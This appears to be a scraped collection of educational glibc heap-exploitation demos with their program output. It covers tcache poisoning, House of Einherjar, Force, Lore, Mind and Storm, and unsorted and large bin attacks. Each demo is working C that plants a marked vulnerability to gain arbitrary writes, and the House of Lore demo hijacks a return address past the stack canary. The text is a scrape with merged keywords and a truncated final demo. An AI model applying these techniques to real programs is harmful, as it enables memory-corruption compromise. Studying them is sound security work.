// prepare heap layout puts("Preparing heap layout"); puts("Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later."); intptr_t *x[7]; for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){ x[i] = malloc(0x100); } puts("Allocating a chunk for later consolidation"); intptr_t *prev = malloc(0x100); puts("Allocating the victim chunk."); intptr_t *a = malloc(0x100); printf("malloc(0x100): a=%p.\n", a); puts("Allocating a padding to prevent consolidation.\n"); malloc(0x10); // cause chunk overlapping puts("Now we are able to cause chunk overlapping"); puts("Step 1: fill up tcache list"); for(int i=0; i<7; i++){ free(x[i]); } puts("Step 2: free the victim chunk so it will be added to unsorted bin"); free(a); puts("Step 3: free the previous chunk and make it consolidate with the victim chunk."); free(prev); puts("Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\n"); malloc(0x100); /*VULNERABILITY*/ free(a);// a is already freed /*VULNERABILITY*/ // simple tcache poisoning puts("Launch tcache poisoning"); puts("Now the victim is contained in a larger freed chunk, we can do a simple tcache poisoning by using overlapped chunk"); intptr_t *b = malloc(0x120); puts("We simply overwrite victim's fwd pointer"); b[0x120/8-2] = (long)stack_var; // take target out puts("Now we can cash out the target chunk."); malloc(0x100); intptr_t *c = malloc(0x100); printf("The new chunk is at %p\n", c); // sanity check assert(c==stack_var); printf("Got control on target/stack!\n\n"); // note puts("Note:"); puts("And the wonderful thing about this exploitation is that: you can free b, victim again and modify the fwd pointer of victim"); puts("In that case, once you have done this exploitation, you can have many arbitary writes very easily.");
This file demonstrates a powerful tcache poisoning attack by tricking malloc into returning a pointer to an arbitrary location(in this demo, the stack). This attack only relies on doublefree.
The address we want malloc() to return, namely, the target address is 0x7fffffffdd00.
Preparing heap layout Allocating 7 chunks(malloc(0x100))for us to fill up tcache list later. Allocating a chunk for later consolidation Allocating the victim chunk. malloc(0x100): a=0x55555555bae0. Allocating a padding to prevent consolidation.
Now we are able to cause chunk overlapping Step 1: fill up tcache list Step 2: free the victim chunk so it will be added to unsorted bin Step 3: free the previous chunk and make it consolidate with the victim chunk. Step 4: add the victim chunk to tcache list by taking one out from it and free victim again
Launch tcache poisoning Now the victim is contained in a larger freed chunk, we can do a simple tcache poisoning by using overlapped chunk We simply overwrite victim's fwd pointer Now we can cash out the target chunk. The new chunk is at 0x7fffffffdd00 Got control on target/stack!
Note: And the wonderful thing about this exploitation is that: you can free b, victim again and modify the fwd pointer of victim In that case, once you have done this exploitation, you can have many arbitary writes very easily
/* Credit to st4g3r for publishing this technique The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc() This technique may result in a more powerful primitive than the Poison Null Byte, but it has the additional requirement of a heap leak. */
printf("Welcome to House of Einherjar!\n"); printf("Tested in Ubuntu 18.04.4 64bit.\n"); printf("This technique only works with disabled tcache-option for glibc or with size of b larger than 0x408, see build_glibc.sh for build instructions.\n"); printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");
uint8_t* a; uint8_t* b; uint8_t* d;
printf("\nWe allocate 0x38 bytes for 'a'\n"); a = (uint8_t*) malloc(0x38); printf("a: %p\n", a); int real_a_size = malloc_usable_size(a); printf("Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: %#x\n", real_a_size);
// create a fake chunk printf("\nWe create a fake chunk wherever we want, in this case we'll create the chunk on the stack\n"); printf("However, you can also create the chunk in the heap or the bss, as long as you know its address\n"); printf("We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n"); printf("(although we could do the unsafe unlink technique here in some scenarios)\n");
size_t fake_chunk[6];
fake_chunk[0] = 0x100; // prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin fake_chunk[2] = (size_t) fake_chunk; // fwd fake_chunk[3] = (size_t) fake_chunk; // bck fake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize fake_chunk[5] = (size_t) fake_chunk; //bck_nextsize
/* In this case it is easier if the chunk size attribute has a least significant byte with * a value of 0x00. The least significant byte of this will be 0x00, because the size of * the chunk includes the amount requested plus some amount required for the metadata. */ b = (uint8_t*) malloc(0x4f8); int real_b_size = malloc_usable_size(b);
printf("\nWe allocate 0x4f8 bytes for 'b'.\n"); printf("b: %p\n", b);
uint64_t* b_size_ptr = (uint64_t*)(b - 8); /* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/
printf("\nb.size: %#lx\n", *b_size_ptr); printf("b.size is: (0x500) | prev_inuse = 0x501\n"); printf("We overflow 'a' with a single null byte into the metadata of 'b'\n"); /* VULNERABILITY */ a[real_a_size] = 0; /* VULNERABILITY */ printf("b.size: %#lx\n", *b_size_ptr); printf("This is easiest if b.size is a multiple of 0x100 so you " "don't change the size of b, only its prev_inuse bit\n"); printf("If it had been modified, we would need a fake chunk inside " "b where it will try to consolidate the next chunk\n");
// Write a fake prev_size to the end of a printf("\nWe write a fake prev_size to the last %lu bytes of a so that " "it will consolidate with our fake chunk\n", sizeof(size_t)); size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk); printf("Our fake prev_size will be %p - %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size); *(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;
//Change the fake chunk's size to reflect b's new prev_size printf("\nModify fake chunk's size to reflect b's new prev_size\n"); fake_chunk[1] = fake_size;
// free b and it will consolidate with our fake chunk printf("Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\n"); free(b); printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);
//if we allocate another chunk before we free b we will need to //do two things: //1) We will need to adjust the size of our fake chunk so that //fake_chunk + fake_chunk's size points to an area we control //2) we will need to write the size of our fake chunk //at the location we control. //After doing these two things, when unlink gets called, our fake chunk will //pass the size(P) == prev_size(next_chunk(P)) test. //otherwise we need to make sure that our fake chunk is up against the //wilderness //
printf("\nNow we can call malloc() and it will begin in our fake chunk\n"); d = malloc(0x200); printf("Next malloc(0x200) is at %p\n", d);
Welcome to House of Einherjar! Tested in Ubuntu 18.04.464bit. This technique only works with disabled tcache-option for glibc or with size of b larger than 0x408, see build_glibc.sh for build instructions. This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.
We allocate 0x38 bytes for'a' a: 0x55555555b260 Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: 0x38
We create a fake chunk wherever we want, in this case we'll create the chunk on the stack However, you can also create the chunk in the heap or the bss, as long as you know its address We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks (although we could do the unsafe unlink technique here in some scenarios) Our fake chunk at 0x7fffffffdcc0 looks like: prev_size(not used): 0x100 size: 0x100 fwd: 0x7fffffffdcc0 bck: 0x7fffffffdcc0 fwd_nextsize: 0x7fffffffdcc0 bck_nextsize: 0x7fffffffdcc0
We allocate 0x4f8 bytes for 'b'. b: 0x55555555b2a0
b.size: 0x501 b.size is: (0x500) | prev_inuse = 0x501 We overflow 'a' with a single null byte into the metadata of 'b' b.size: 0x500 This is easiest if b.size is a multiple of 0x100 so you don't change the size of b, only its prev_inuse bit If it had been modified, we would need a fake chunk inside b where it will try to consolidate the next chunk
We write a fake prev_size to the last 8 bytes of a so that it will consolidate with our fake chunk Our fake prev_size will be 0x55555555b290 - 0x7fffffffdcc0 = 0xffffd5555555d5d0
Modify fake chunk's size to reflect b's new prev_size Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set Our fake chunk size is now 0xffffd5555557e341 (b.size + fake_prev_size)
Now we can call malloc() and it will begin in our fake chunk Next malloc(0x200) is at 0x7fffffffdcd0
char bss_var[] = "This is a string that we want to overwrite.";
intmain(int argc , char* argv[]) { fprintf(stderr, "\nWelcome to the House of Force\n\n"); fprintf(stderr, "The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\n"); fprintf(stderr, "The top chunk is a special chunk. Is the last in memory " "and is the chunk that will be resized when malloc asks for more space from the os.\n");
fprintf(stderr, "\nIn the end, we will use this to overwrite a variable at %p.\n", bss_var); fprintf(stderr, "Its current value is: %s\n", bss_var);
fprintf(stderr, "\nLet's allocate the first chunk, taking space from the wilderness.\n"); intptr_t *p1 = malloc(256); fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.\n", p1 - 2);
fprintf(stderr, "\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\n"); int real_size = malloc_usable_size(p1); fprintf(stderr, "Real size (aligned and all that jazz) of our allocated chunk is %ld.\n", real_size + sizeof(long)*2);
fprintf(stderr, "\nNow let's emulate a vulnerability that can overwrite the header of the Top Chunk\n");
fprintf(stderr, "\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\n"); fprintf(stderr, "Old size of top chunk %#llx\n", *((unsignedlonglongint *)((char *)ptr_top + sizeof(long)))); *(intptr_t *)((char *)ptr_top + sizeof(long)) = -1; fprintf(stderr, "New size of top chunk %#llx\n", *((unsignedlonglongint *)((char *)ptr_top + sizeof(long)))); //------------------------
fprintf(stderr, "\nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.\n" "Next, we will allocate a chunk that will get us right up against the desired region (with an integer\n" "overflow) and will then be able to allocate a chunk right over the desired region.\n");
/* * The evil_size is calulcated as (nb is the number of bytes requested + space for metadata): * new_top = old_top + nb * nb = new_top - old_top * req + 2sizeof(long) = new_top - old_top * req = new_top - old_top - 2sizeof(long) * req = dest - 2sizeof(long) - old_top - 2sizeof(long) * req = dest - old_top - 4*sizeof(long) */ unsignedlong evil_size = (unsignedlong)bss_var - sizeof(long)*4 - (unsignedlong)ptr_top; fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n" "we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size); void *new_ptr = malloc(evil_size); fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr - sizeof(long)*2);
void* ctr_chunk = malloc(100); fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer.\n"); fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk); fprintf(stderr, "Now, we can finally overwrite that value:\n");
fprintf(stderr, "... old string: %s\n", bss_var); fprintf(stderr, "... doing strcpy overwrite with \"YEAH!!!\"...\n"); strcpy(ctr_chunk, "YEAH!!!"); fprintf(stderr, "... new string: %s\n", bss_var);
The idea of House of Force is to overwrite the top chunk and let the mallocreturn an arbitrary value. The top chunk is a special chunk. Is the last in memory and is the chunk that will be resized when malloc asks for more space from the os.
In the end, we will use this to overwrite a variable at 0x555555558060. Its current value is: This is a string that we want to overwrite.
Let's allocate the first chunk, taking space from the wilderness. The chunk of 256 bytes has been allocated at 0x55555555b250.
Now the heap is composed of two chunks: the one we allocated and the top chunk/wilderness. Real size (aligned and all that jazz) of our allocated chunk is 280.
Now let's emulate a vulnerability that can overwrite the header of the Top Chunk
The top chunk starts at 0x55555555b360
Overwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap. Old size of top chunk 0x20ca1 New size of top chunk 0xffffffffffffffff
The size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap. Next, we will allocate a chunk that will get us right up against the desired region (with an integer overflow) and will then be able to allocate a chunk right over the desired region.
The value we want to write to at 0x555555558060, and the top chunk is at 0x55555555b360, so accounting for the header size, we will malloc0xffffffffffffcce0 bytes. As expected, the new pointer is at the same place as the old top chunk: 0x55555555b360
Now, the next chunk we overwrite will point at our target buffer. malloc(100) => 0x555555558060! Now, we can finally overwrite that value: ... old string: This is a string that we want to overwrite. ... doing strcpy overwrite with "YEAH!!!"... ... new string: YEAH!!!
fprintf(stderr, "\nWelcome to the House of Lore\n"); fprintf(stderr, "This is a revisited version that bypass also the hardening check introduced by glibc malloc\n"); fprintf(stderr, "This is tested against Ubuntu 18.04.5 - 64bit - glibc-2.27\n\n");
fprintf(stderr, "Allocating the victim chunk\n"); intptr_t *victim = malloc(0x100); fprintf(stderr, "Allocated the first small chunk on the heap at %p\n", victim);
fprintf(stderr, "Allocating dummy chunks for using up tcache later\n"); void *dummies[7]; for(int i=0; i<7; i++) dummies[i] = malloc(0x100);
// victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk intptr_t *victim_chunk = victim-2;
fprintf(stderr, "stack_buffer_1 at %p\n", (void*)stack_buffer_1); fprintf(stderr, "stack_buffer_2 at %p\n", (void*)stack_buffer_2);
fprintf(stderr, "Create a fake free-list on the stack\n"); for(int i=0; i<6; i++) { fake_freelist[i][3] = fake_freelist[i+1]; } fake_freelist[6][3] = NULL; fprintf(stderr, "fake free-list at %p\n", fake_freelist);
fprintf(stderr, "Create a fake chunk on the stack\n"); fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted" "in second to the last malloc, which putting stack address on smallbin list\n"); stack_buffer_1[0] = 0; stack_buffer_1[1] = 0; stack_buffer_1[2] = victim_chunk;
fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 " "in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake " "chunk on stack"); stack_buffer_1[3] = (intptr_t*)stack_buffer_2; stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
fprintf(stderr, "Set the bck pointer of stack_buffer_2 to the fake free-list in order to prevent crash prevent crash " "introduced by smallbin-to-tcache mechanism\n"); stack_buffer_2[3] = (intptr_t *)fake_freelist[0]; fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with" "the small one during the free()\n"); void *p5 = malloc(1000); fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5);
fprintf(stderr, "Freeing dummy chunk\n"); for(int i=0; i<7; i++) free(dummies[i]); fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim); free((void*)victim);
fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are nil\n"); fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]); fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n"); fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin\n", victim);
void *p2 = malloc(1200); fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2);
fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated\n"); fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]); fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
//------------VULNERABILITY-----------
fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack
//------------------------------------ fprintf(stderr, "Now take all dummies chunk in tcache out\n"); for(int i=0; i<7; i++) malloc(0x100);
fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n"); fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n");
void *p3 = malloc(0x100);
fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n"); char *p4 = malloc(0x100); fprintf(stderr, "p4 = malloc(0x100)\n");
fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n", stack_buffer_2[2]);
fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode long offset = (long)__builtin_frame_address(0) - (long)p4; memcpy((p4+offset+8), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary
Welcome to the House of Lore This is a revisited version that bypass also the hardening check introduced by glibc malloc This is tested against Ubuntu 18.04.5 - 64bit - glibc-2.27
Allocating the victim chunk Allocated the first small chunk on the heap at 0x55555555b260 Allocating dummy chunks for using up tcache later stack_buffer_1 at 0x7fffffffdce0 stack_buffer_2 at 0x7fffffffdcc0 Create a fake free-list on the stack fake free-list at 0x7fffffffdbe0 Create a fake chunk on the stack Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corruptedin second to the last malloc, which putting stack address on smallbin list Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake chunk on stackSet the bck pointer of stack_buffer_2 to the fake free-list in order to prevent crash prevent crash introduced by smallbin-to-tcache mechanism Allocating another large chunk in order to avoid consolidating the top chunk withthe small one during the free() Allocated the large chunk on the heap at 0x55555555bae0 Freeing dummy chunk Freeing the chunk 0x55555555b260, it will be inserted in the unsorted bin
In the unsorted bin the victim's fwd and bk pointers are nil victim->fwd: 0x7ffff7dcfca0 victim->bk: 0x7ffff7dcfca0
Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin This means that the chunk 0x55555555b260 will be inserted in front of the SmallBin The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to 0x55555555bed0 The victim chunk has been sorted and its fwd and bk pointers updated victim->fwd: 0x7ffff7dcfda0 victim->bk: 0x7ffff7dcfda0
Now emulating a vulnerability that can overwrite the victim->bk pointer Now take all dummies chunk in tcache out Now allocating a chunk with size equal to the first one freed This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk p4 = malloc(0x100)
The fwd pointer of stack_buffer_2 has changed after the last malloc to 0x7fffffffdcf0
p4 is 0x7fffffffdc70 and should be on the stack! Nice jump d00d
printf("House of Mind - Fastbin Variant\n"); puts("=================================="); printf("The goal of this technique is to create a fake arena\n"); printf("at an offset of HEAP_MAX_SIZE\n"); printf("Then, we write to the fastbins when the chunk is freed\n"); printf("This creates a somewhat constrained WRITE-WHERE primitive\n"); // Values for the allocation information. int HEAP_MAX_SIZE = 0x4000000; int MAX_SIZE = (128*1024) - 0x100; // MMap threshold: https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L635
printf("Find initial location of the heap\n"); // The target location of our attack and the fake arena to use uint8_t* fake_arena = malloc(0x1000); uint8_t* target_loc = fake_arena + 0x30;
/* Prepare a valid 'malloc_state' (arena) 'system_mem' to store a fastbin. This is important because the size of a chunk is validated for being too small or too large via the 'system_mem' of the 'malloc_state'. This just needs to be a value larger than our fastbin chunk. */ printf("Set 'system_mem' (offset 0x888) for fake arena\n"); fake_arena[0x888] = 0xFF; fake_arena[0x889] = 0xFF; fake_arena[0x88a] = 0xFF;
printf("Target Memory Address for overwrite: %p\n", target_loc); printf("Must set data at HEAP_MAX_SIZE (0x%x) offset\n", HEAP_MAX_SIZE);
uint64_t* user_mem = malloc(MAX_SIZE); printf("Fake Heap Info struct location: %p\n", fake_heap_info); printf("Allocate until we reach a MAX_HEAP_SIZE offset\n");
/* The fake arena must be at a particular offset on the heap. So, we allocate a bunch of chunks until our next chunk will be in the arena. This value was calculated above. */ while((longlong)user_mem < new_arena_value){ user_mem = malloc(MAX_SIZE); }
// Use this later to trigger craziness printf("Create fastbin sized chunk to be victim of attack\n"); uint64_t* fastbin_chunk = malloc(0x50); // Size of 0x60 uint64_t* chunk_ptr = fastbin_chunk - 2; // Point to chunk instead of mem printf("Fastbin Chunk to overwrite: %p\n", fastbin_chunk);
printf("Fill up the TCache so that the fastbin will be used\n"); // Fill the tcache to make the fastbin to be used later. uint64_t* tcache_chunks[7]; for(int i = 0; i < 7; i++){ tcache_chunks[i] = malloc(0x50); } for(int i = 0; i < 7; i++){ free(tcache_chunks[i]); }
/* Create a FAKE malloc_state pointer for the heap_state This is the 'ar_ptr' of the 'heap_info' struct shown above. This is the first entry in the 'heap_info' struct at offset 0x0 at the heap. We set this to the location where we want to write a value to. The location that gets written to depends on the fastbin chunk size being freed. This will be between an offset of 0x8 and 0x40 bytes. For instance, a chunk with a size of 0x20 would be in the 0th index of fastbinsY struct. When this is written to, we will write to an offset of 8 from the original value written. - https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L1686 */ printf("Setting 'ar_ptr' (our fake arena) in heap_info struct to %p\n", fake_arena); fake_heap_info[0] = (uint64_t) fake_arena; // Setting the fake ar_ptr (arena) printf("Target Write at %p prior to exploitation: 0x%x\n", target_loc, *(target_loc));
/* Set the non-main arena bit on the size. Additionally, we keep the size the same as the original allocation because there is a sanity check on the fastbin (when freeing) that the next chunk has a valid size. When grabbing the non-main arena, it will use our choosen arena! From there, it will write to the fastbin because of the size of the chunk. ///// Vulnerability! Overwriting the chunk size */ printf("Set non-main arena bit on the fastbin chunk\n"); puts("NOTE: This keeps the next chunk size valid because the actual chunk size was never changed\n"); chunk_ptr[1] = 0x60 | 0x4; // Setting the non-main arena bit
//// End vulnerability
/* The offset being written to with the fastbin chunk address depends on the fastbin BEING used and the malloc_state itself. In 2.27, the offset from the beginning of the malloc_state to the fastbinsY array is 0x10. Then, fastbinsY[0x4] is an additional byte offset of 0x20. In total, the writing offset from the arena location is 0x30 bytes. from the arena location to where the write actually occurs. This is a similar concept to bk - 0x10 from the unsorted bin attack. */
printf("When we free the fastbin chunk with the non-main arena bit\n"); printf("set, it will cause our fake 'heap_info' struct to be used.\n"); printf("This will dereference our fake arena location and write\n"); printf("the address of the heap to an offset of the arena pointer.\n");
printf("Trigger the magic by freeing the chunk!\n"); free(fastbin_chunk); // Trigger the madness
// For this particular fastbin chunk size, the offset is 0x28. printf("Target Write at %p: 0x%llx\n", target_loc, *((unsignedlonglong*) (target_loc))); assert(*((unsignedlong *) (target_loc)) != 0); }
House of Mind - Fastbin Variant ================================== The goal of this technique is to create a fake arena at an offset of HEAP_MAX_SIZE Then, we write to the fastbins when the chunk is freed This creates a somewhat constrained WRITE-WHERE primitive Find initial location of the heap Set 'system_mem' (offset 0x888) for fake arena Target Memory Address for overwrite: 0x55555555b6a0 Must set data at HEAP_MAX_SIZE (0x4000000) offset Fake Heap Info struct location: 0x555558000000 Allocate until we reach a MAX_HEAP_SIZE offset Create fastbin sized chunk to be victim of attack Fastbin Chunk to overwrite: 0x5555580284f0 Fill up the TCache so that the fastbin will be used Setting 'ar_ptr' (our fake arena) in heap_info struct to 0x55555555b670 Target Write at 0x55555555b6a0 prior to exploitation: 0x0 Set non-main arena bit on the fastbin chunk NOTE: This keeps the next chunk size valid because the actual chunk size was never changed
When we free the fastbin chunk with the non-main arena bit set, it will cause our fake 'heap_info'struct to be used. This will dereference our fake arena location and write the address of the heap to an offset of the arena pointer. Trigger the magic by freeing the chunk! Target Write at 0x55555555b6a0: 0x5555580284e0
intmain(){ fprintf(stderr, "This technique only works with buffers not going into tcache, either because the tcache-option for " "glibc was disabled, or because the buffers are bigger than 0x408 bytes. See build_glibc.sh for build " "instructions.\n"); fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n"); fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the " "global variable global_max_fast in libc for further fastbin attack\n\n");
volatileunsignedlong stack_var=0; fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n"); fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var);
unsignedlong *p=malloc(0x410); fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",p); fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with" "the first one during the free()\n\n"); malloc(500);
free(p); fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer " "point to %p\n",(void*)p[1]);
//------------VULNERABILITY-----------
p[1]=(unsignedlong)(&stack_var-2); fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n"); fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]);
//------------------------------------
malloc(0x410); fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been " "rewritten:\n"); fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
This technique only works with buffers not going into tcache, either because the tcache-option for glibc was disabled, or because the buffers are bigger than 0x408 bytes. See build_glibc.sh for build instructions. This file demonstrates unsorted bin attack by write a large unsignedlong value into stack In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the global variable global_max_fast in libc for further fastbin attack
Let's first look at the target we want to rewrite on stack: 0x7fffffffdd20: 0
Now, we allocate first normal chunk on the heap at: 0x55555555b260 And allocate another normal chunk in order to avoid consolidating the top chunk withthe first one during the free()
We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer point to 0x7ffff7dcfca0 Now emulating a vulnerability that can overwrite the victim->bk pointer And we write it with the target address-16 (in 32-bits machine, it should be target address-8):0x7fffffffdd10
Let's malloc again to get the chunk we just free. During this time, the target should have already been rewritten: 0x7fffffffdd20: 0x7ffff7dcfca0
printf("This file demonstrates large bin attack by writing a large unsigned long value into stack\n"); printf("In practice, large bin attack is generally prepared for further attacks, such as rewriting the " "global variable global_max_fast in libc for further fastbin attack\n\n");
printf("Let's first look at the targets we want to rewrite on stack:\n"); printf("stack_var1 (%p): %ld\n", &stack_var1, stack_var1); printf("stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);
unsignedlong *p1 = malloc(0x420); printf("Now, we allocate the first large chunk on the heap at: %p\n", p1 - 2);
printf("And allocate another fastbin chunk in order to avoid consolidating the next large chunk with" " the first large chunk during the free()\n\n"); malloc(0x20);
unsignedlong *p2 = malloc(0x500); printf("Then, we allocate the second large chunk on the heap at: %p\n", p2 - 2);
printf("And allocate another fastbin chunk in order to avoid consolidating the next large chunk with" " the second large chunk during the free()\n\n"); malloc(0x20);
unsignedlong *p3 = malloc(0x500); printf("Finally, we allocate the third large chunk on the heap at: %p\n", p3 - 2); printf("And allocate another fastbin chunk in order to avoid consolidating the top chunk with" " the third large chunk during the free()\n\n"); malloc(0x20); free(p1); free(p2); printf("We free the first and second large chunks now and they will be inserted in the unsorted bin:" " [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));
malloc(0x90); printf("Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the" " freed second large chunk into the large bin freelist, use parts of the freed first large chunk for allocation" ", and reinsert the remaining of the freed first large chunk into the unsorted bin:" " [ %p ]\n\n", (void *)((char *)p1 + 0x90));
free(p3); printf("Now, we free the third large chunk and it will be inserted in the unsorted bin:" " [ %p <--> %p ]\n\n", (void *)(p3 - 2), (void *)(p3[0])); //------------VULNERABILITY-----------
printf("Now emulating a vulnerability that can overwrite the freed second large chunk's \"size\"" " as well as its \"bk\" and \"bk_nextsize\" pointers\n"); printf("Basically, we decrease the size of the freed second large chunk to force malloc to insert the freed third large chunk" " at the head of the large bin freelist. To overwrite the stack variables, we set \"bk\" to 16 bytes before stack_var1 and" " \"bk_nextsize\" to 32 bytes before stack_var2\n\n");
malloc(0x90); printf("Let's malloc again, so the freed third large chunk being inserted into the large bin freelist." " During this time, targets should have already been rewritten:\n");
This file demonstrates large bin attack by writing a large unsignedlong value into stack In practice, large bin attack is generally prepared for further attacks, such as rewriting the global variable global_max_fast in libc for further fastbin attack
Let's first look at the targets we want to rewrite on stack: stack_var1 (0x7fffffffdd10): 0 stack_var2 (0x7fffffffdd08): 0
Now, we allocate the first large chunk on the heap at: 0x55555555b250 And allocate another fastbin chunk in order to avoid consolidating the next large chunk with the first large chunk during the free()
Then, we allocate the second large chunk on the heap at: 0x55555555b6b0 And allocate another fastbin chunk in order to avoid consolidating the next large chunk with the second large chunk during the free()
Finally, we allocate the third large chunk on the heap at: 0x55555555bbf0 And allocate another fastbin chunk in order to avoid consolidating the top chunk with the third large chunk during the free()
We free the first and second large chunks now and they will be inserted in the unsorted bin: [ 0x55555555b6b0 <--> 0x55555555b250 ]
Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the freed second large chunk into the large bin freelist, use parts of the freed first large chunk for allocation, and reinsert the remaining of the freed first large chunk into the unsorted bin: [ 0x55555555b2f0 ]
Now, we free the third large chunk and it will be inserted in the unsorted bin: [ 0x55555555bbf0 <--> 0x55555555b2f0 ]
Now emulating a vulnerability that can overwrite the freed second large chunk's "size" as well as its "bk" and "bk_nextsize" pointers Basically, we decrease the size of the freed second large chunk to force malloc to insert the freed third large chunk at the head of the large bin freelist. To overwrite the stack variables, we set "bk" to 16 bytes before stack_var1 and "bk_nextsize" to 32 bytes before stack_var2
Let's malloc again, so the freed third large chunk being inserted into the large bin freelist. During this time, targets should have already been rewritten: stack_var1(0x7fffffffdd10): 0x55555555bbf0 stack_var2(0x7fffffffdd08): 0x55555555bbf0
// Get the AMOUNT to shift over for size and the offset on the largebin. // Needs to be a valid minimum sized chunk in order to work. intget_shift_amount(char* pointer){ int shift_amount = 0; longlong ptr = (longlong)pointer; while(ptr > 0x20){ ptr = ptr >> 8; shift_amount += 1; }
return shift_amount - 1; // Want amount PRIOR to this being zeroed out }
puts("House of Storm"); puts("======================================"); puts("Preparing chunks for the exploit"); puts("Put one chunk into unsorted bin and the other into the large bin"); puts("The unsorted bin chunk MUST be larger than the large bin chunk."); /* Putting a chunk into the unsorted bin and another into the large bin. */ unsorted_bin = malloc ( 0x4e8 ); // size 0x4f0
// prevent merging malloc ( 0x18 );
puts("Find the proper chunk size to allocate."); puts("Must be exactly the size of the written chunk from above."); /* Find the proper size to allocate We are using the first 'X' bytes of the heap to act as the 'size' of a chunk. Then, we need to allocate a chunk exactly this size for the attack to work. So, in order to do this, we have to take the higher bits of the heap address and allocate a chunk of this size, which comes from the upper bytes of the heap address. NOTE: - This does have a 1/2 chance of failing on the 4th bit. If the 4th bit of this value is set, then the size comparison will fail everytime. - There is ANOTHER 1/4 chance of this failing (for the demo). Either the mmap bit needs to be set or the non-main arena cannot be set. - Without these calculations, this COULD be brute forced with relative overwrites in a leakless fashion. */
int shift_amount = get_shift_amount(unsorted_bin); printf("Shift Amount: %d\n", shift_amount);
